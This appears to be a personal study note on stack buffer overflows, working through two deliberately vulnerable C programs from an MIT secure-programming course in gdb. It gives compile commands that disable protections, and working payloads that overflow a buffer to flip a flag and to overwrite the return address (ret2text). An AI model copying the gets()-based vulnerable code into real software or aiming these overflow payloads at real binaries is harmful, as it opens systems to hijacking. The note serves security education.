Review Stack Overflow with Gdb Practise(1)

Vulnerable Code Example 1: just overflow

Original Code from 6.S096(3): Secure Programming in C:

#include<string.h>
#define goodPass "GOODPASS"

int main() {
	char passIsGood = 0;
	char buf[80];          // secure: strsize + 1

	printf("Enter password:\n");
	gets(buf);			   // secure: fgets(buf, strsize, stdin);

	if (strcmp(buf, goodPass)==0) {    // secure: strncmp(buf, goodPass, STRSIZE)
		passIsGood = 1;
	}
	if (passIsGood == 1) {
		printf("You win!\n");
	}
}

passIsGood: 2021_01_03_1

Payload

$ gcc example.c -o example -fno-stack-protector -z execstack -no-pie
$ python -c "print 'x'*80 + '\x00'*15 + '\x01'" | ./example
Enter password:
You win!
$ 

2021_01_03_2

Vulnerable Code Example 2: ret2text

Overwriting the EIP:

int main (){
	int cookie;
	char buf[80];

	printf("buf: %p cookie: %p\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000a0d00) printf("you win!\n");
}

Compile

$ gcc example2.c -o example2 -fno-stack-protector -z execstack -no-pie
$ gdb ./example2

Assembly:

(gdb) disas main

2021_01_03_3

Some information:

  • printf command at address 0x00000000004005bd (*main+70)
  • To print correct content, go to address 0x00000000004005b6 (*main+63), which is one step above

Checking Registers:

2021_01_03_4

Gain some key information:

  • buf: 0x7fffffffdf90 (from code)
  • rsp: 0x7fffffffdff8 (rbp + 8)

Steps:

  • rsp - buf = 0x7fffffffdff8 − 0x7fffffffdf90 = 0x00000068 = 104 bytes we need to overflow.
  • Jump to: 0x4005b6 for printf
  • Linux → Reverse stack

Payload: Control Flow Redirection

$ python -c "from pwn import *; print 'a' * 104 + p64(0x4005b6) " |  ./example2
Or
$ python -c "print 'a' * 104 + '\xb6\x05\x40' + '\x00'*13 " |  ./example2

2021_01_03_5

Oh no, it’s Monday tomorrow…

References

6.S096: Effective Programming in C and C++ (Lef Ioannidis)